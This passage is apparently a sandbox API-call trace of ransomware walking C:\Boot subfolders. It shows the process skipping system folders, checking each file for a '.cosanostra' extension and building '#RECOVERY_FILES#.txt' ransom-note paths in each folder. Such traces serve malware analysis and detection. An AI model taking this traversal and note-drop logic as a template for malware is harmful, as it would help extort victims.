lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.734] lstrlenW (lpString="Windows") returned 7 [0075.734] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.734] lstrlenW (lpString="Program Files") returned 13 [0075.734] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.734] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.734] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.734] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.734] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.734] lstrlenW (lpString="System Volume Information") returned 25 [0075.734] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\..") returned 20 [0075.734] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.734] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.734] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.734] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.734] lstrlenW (lpString="Windows") returned 7 [0075.734] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.734] lstrlenW (lpString="Program Files") returned 13 [0075.734] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.735] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.735] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.735] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.735] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.735] lstrlenW (lpString="System Volume Information") returned 25 [0075.735] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 33 [0075.735] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.735] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.735] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.735] lstrlenW (lpString="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 33 [0075.735] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.735] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0075.735] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\#RECOVERY_FILES#.txt") returned 38 [0075.735] lstrlenW (lpString="\\\\?\\C:\\Boot\\el-GR\\#RECOVERY_FILES#.txt") returned 38 [0075.735] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.735] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0075.735] lstrlenW (lpString="Windows") returned 7 [0075.735] lstrcmpiW (lpString1="en-US", lpString2="Program Files") returned -1 [0075.735] lstrlenW (lpString="Program Files") returned 13 [0075.735] lstrcmpiW (lpString1="en-US", lpString2="Program Files (x86)") returned -1 [0075.735] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.735] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.bin") returned 1 [0075.735] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.735] lstrcmpiW (lpString1="en-US", lpString2="System Volume Information") returned -1 [0075.735] lstrlenW (lpString="System Volume Information") returned 25 [0075.735] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US") returned 17 [0075.735] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0075.736] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0075.736] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\*") returned 19 [0075.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24c310 [0075.741] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.741] lstrlenW (lpString="Windows") returned 7 [0075.741] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.741] lstrlenW (lpString="Program Files") returned 13 [0075.741] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.741] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.741] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.741] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.741] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.741] lstrlenW (lpString="System Volume Information") returned 25 [0075.741] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\.") returned 19 [0075.741] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.741] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.742] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.742] lstrlenW (lpString="Windows") returned 7 [0075.742] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.742] lstrlenW (lpString="Program Files") returned 13 [0075.742] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.742] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.742] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.742] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.742] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.742] lstrlenW (lpString="System Volume Information") returned 25 [0075.742] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\..") returned 20 [0075.742] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.742] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.742] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.742] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.742] lstrlenW (lpString="Windows") returned 7 [0075.742] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.742] lstrlenW (lpString="Program Files") returned 13 [0075.742] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.742] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.742] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.742] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.742] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.742] lstrlenW (lpString="System Volume Information") returned 25 [0075.742] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui") returned 33 [0075.742] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.742] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.742] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.742] lstrlenW (lpString="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui") returned 33 [0075.742] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.742] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="Windows") returned -1 [0075.742] lstrlenW (lpString="Windows") returned 7 [0075.742] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="Program Files") returned -1 [0075.742] lstrlenW (lpString="Program Files") returned 13 [0075.742] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.742] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.742] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.743] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.743] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="System Volume Information") returned -1 [0075.743] lstrlenW (lpString="System Volume Information") returned 25 [0075.743] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui") returned 33 [0075.743] StrStrIW (lpFirst="memtest.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.743] lstrcmpW (lpString1="memtest.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.743] lstrcmpW (lpString1="memtest.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.743] lstrlenW (lpString="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui") returned 33 [0075.743] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.743] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0075.743] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\#RECOVERY_FILES#.txt") returned 38 [0075.743] lstrlenW (lpString="\\\\?\\C:\\Boot\\en-US\\#RECOVERY_FILES#.txt") returned 38 [0075.743] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.743] lstrcmpiW (lpString1="es-ES", lpString2="Windows") returned -1 [0075.743] lstrlenW (lpString="Windows") returned 7 [0075.743] lstrcmpiW (lpString1="es-ES", lpString2="Program Files") returned -1 [0075.743] lstrlenW (lpString="Program Files") returned 13 [0075.743] lstrcmpiW (lpString1="es-ES", lpString2="Program Files (x86)") returned -1 [0075.743] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.743] lstrcmpiW (lpString1="es-ES", lpString2="$Recycle.bin") returned 1 [0075.743] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.743] lstrcmpiW (lpString1="es-ES", lpString2="System Volume Information") returned -1 [0075.743] lstrlenW (lpString="System Volume Information") returned 25 [0075.743] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES") returned 17 [0075.743] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0075.743] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0075.743] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\*") returned 19 [0075.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24c310 [0075.746] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.746] lstrlenW (lpString="Windows") returned 7 [0075.746] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.746] lstrlenW (lpString="Program Files") returned 13 [0075.746] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.746] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.746] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.746] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.746] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.746] lstrlenW (lpString="System Volume Information") returned 25 [0075.746] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\.") returned 19 [0075.746] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.746] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.746] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.746] lstrlenW (lpString="Windows") returned 7 [0075.746] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.746] lstrlenW (lpString="Program Files") returned 13 [0075.746] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.746] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.746] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.746] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.746] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.746] lstrlenW (lpString="System Volume Information") returned 25 [0075.746] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\..") returned 20 [0075.746] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.746] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.746] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.746] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.746] lstrlenW (lpString="Windows") returned 7 [0075.746] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.746] lstrlenW (lpString="Program Files") returned 13 [0075.746] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.746] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.746] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.746] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.746] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.746] lstrlenW (lpString="System Volume Information") returned 25 [0075.746] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 33 [0075.746] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.747] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.747] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.747] lstrlenW (lpString="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 33 [0075.747] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.747] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0075.747] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\#RECOVERY_FILES#.txt") returned 38 [0075.747] lstrlenW (lpString="\\\\?\\C:\\Boot\\es-ES\\#RECOVERY_FILES#.txt") returned 38 [0075.747] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.747] lstrcmpiW (lpString1="fi-FI", lpString2="Windows") returned -1 [0075.747] lstrlenW (lpString="Windows") returned 7 [0075.747] lstrcmpiW (lpString1="fi-FI", lpString2="Program Files") returned -1 [0075.747] lstrlenW (lpString="Program Files") returned 13 [0075.747] lstrcmpiW (lpString1="fi-FI", lpString2="Program Files (x86)") returned -1 [0075.747] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.747] lstrcmpiW (lpString1="fi-FI", lpString2="$Recycle.bin") returned 1 [0075.747] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.747] lstrcmpiW (lpString1="fi-FI", lpString2="System Volume Information") returned -1 [0075.747] lstrlenW (lpString="System Volume Information") returned 25 [0075.747] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI") returned 17 [0075.747] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0075.747] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0075.747] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\*") returned 19 [0075.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24c310 [0075.748] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.748] lstrlenW (lpString="Windows") returned 7 [0075.748] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.748] lstrlenW (lpString="Program Files") returned 13 [0075.748] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.748] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.748] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.748] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.748] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.748] lstrlenW (lpString="System Volume Information") returned 25 [0075.748] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\.") returned 19 [0075.748] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.748] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.748] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.748] lstrlenW (lpString="Windows") returned 7 [0075.748] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.748] lstrlenW (lpString="Program Files") returned 13 [0075.748] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.748] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.748] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.748] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.748] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.748] lstrlenW (lpString="System Volume Information") returned 25 [0075.748] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\..") returned 20 [0075.748] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.748] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.748] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.748] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.748] lstrlenW (lpString="Windows") returned 7 [0075.748] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.748] lstrlenW (lpString="Program Files") returned 13 [0075.748] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.748] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.748] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.748] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.748] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.749] lstrlenW (lpString="System Volume Information") returned 25 [0075.749] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 33 [0075.749] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.749] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.749] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.749] lstrlenW (lpString="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 33 [0075.749] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.749] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0075.749] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\#RECOVERY_FILES#.txt") returned 38 [0075.749] lstrlenW (lpString="\\\\?\\C:\\Boot\\fi-FI\\#RECOVERY_FILES#.txt") returned 38 [0075.749] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.749] lstrcmpiW (lpString1="Fonts", lpString2="Windows") returned -1 [0075.749] lstrlenW (lpString="Windows") returned 7 [0075.749] lstrcmpiW (lpString1="Fonts", lpString2="Program Files") returned -1 [0075.749] lstrlenW (lpString="Program Files") returned 13 [0075.749] lstrcmpiW (lpString1="Fonts", lpString2="Program Files (x86)") returned -1 [0075.749] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.749] lstrcmpiW (lpString1="Fonts", lpString2="$Recycle.bin") returned 1 [0075.749] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.749] lstrcmpiW (lpString1="Fonts", lpString2="System Volume Information") returned -1 [0075.749] lstrlenW (lpString="System Volume Information") returned 25 [0075.749] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts") returned 17 [0075.749] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0075.749] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0075.749] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\*") returned 19 [0075.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24c310 [0075.750] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.750] lstrlenW (lpString="Windows") returned 7 [0075.750] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.750] lstrlenW (lpString="Program Files") returned 13 [0075.750] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.750] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.750] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.750] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.751] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.751] lstrlenW (lpString="System Volume Information") returned 25 [0075.751] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\.") returned 19 [0075.751] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.751] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.751] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.751] lstrlenW (lpString="Windows") returned 7 [0075.751] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.751] lstrlenW (lpString="Program Files") returned 13 [0075.751] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.751] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.751] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.751] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.751] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.751] lstrlenW (lpString="System Volume Information") returned 25 [0075.751] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\..") returned 20 [0075.751] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.751] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.751] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.751] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="Windows") returned -1 [0075.751] lstrlenW (lpString="Windows") returned 7 [0075.751] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="Program Files") returned -1 [0075.751] lstrlenW (lpString="Program Files") returned 13 [0075.751] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="Program Files (x86)") returned -1 [0075.751] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.751] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="$Recycle.bin") returned 1 [0075.751] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.751] lstrcmpiW (lpString1="chs_boot.ttf", lpString2="System Volume Information") returned -1 [0075.751] lstrlenW (lpString="System Volume Information") returned 25 [0075.751] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf") returned 30 [0075.751] StrStrIW (lpFirst="chs_boot.ttf", lpSrch=".cosanostra") returned 0x0 [0075.751] lstrcmpW (lpString1="chs_boot.ttf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.751] lstrcmpW (lpString1="chs_boot.ttf", lpString2="_uninstalling_.png") returned 1 [0075.751] lstrlenW (lpString="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf") returned 30 [0075.751] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.751] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="Windows") returned -1 [0075.751] lstrlenW (lpString="Windows") returned 7 [0075.751] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="Program Files") returned -1 [0075.752] lstrlenW (lpString="Program Files") returned 13 [0075.752] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="Program Files (x86)") returned -1 [0075.752] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.752] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="$Recycle.bin") returned 1 [0075.752] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.752] lstrcmpiW (lpString1="cht_boot.ttf", lpString2="System Volume Information") returned -1 [0075.752] lstrlenW (lpString="System Volume Information") returned 25 [0075.752] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf") returned 30 [0075.752] StrStrIW (lpFirst="cht_boot.ttf", lpSrch=".cosanostra") returned 0x0 [0075.752] lstrcmpW (lpString1="cht_boot.ttf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.752] lstrcmpW (lpString1="cht_boot.ttf", lpString2="_uninstalling_.png") returned 1 [0075.752] lstrlenW (lpString="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf") returned 30 [0075.752] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.752] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="Windows") returned -1 [0075.753] lstrlenW (lpString="Windows") returned 7 [0075.753] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="Program Files") returned -1 [0075.753] lstrlenW (lpString="Program Files") returned 13 [0075.753] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="Program Files (x86)") returned -1 [0075.753] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.753] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="$Recycle.bin") returned 1 [0075.753] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.753] lstrcmpiW (lpString1="jpn_boot.ttf", lpString2="System Volume Information") returned -1 [0075.753] lstrlenW (lpString="System Volume Information") returned 25 [0075.753] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf") returned 30 [0075.753] StrStrIW (lpFirst="jpn_boot.ttf", lpSrch=".cosanostra") returned 0x0 [0075.753] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.753] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="_uninstalling_.png") returned 1 [0075.753] lstrlenW (lpString="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf") returned 30 [0075.753] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.753] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="Windows") returned -1 [0075.753] lstrlenW (lpString="Windows") returned 7 [0075.753] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="Program Files") returned -1 [0075.753] lstrlenW (lpString="Program Files") returned 13 [0075.753] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="Program Files (x86)") returned -1 [0075.753] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.753] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="$Recycle.bin") returned 1 [0075.753] lstrlenW 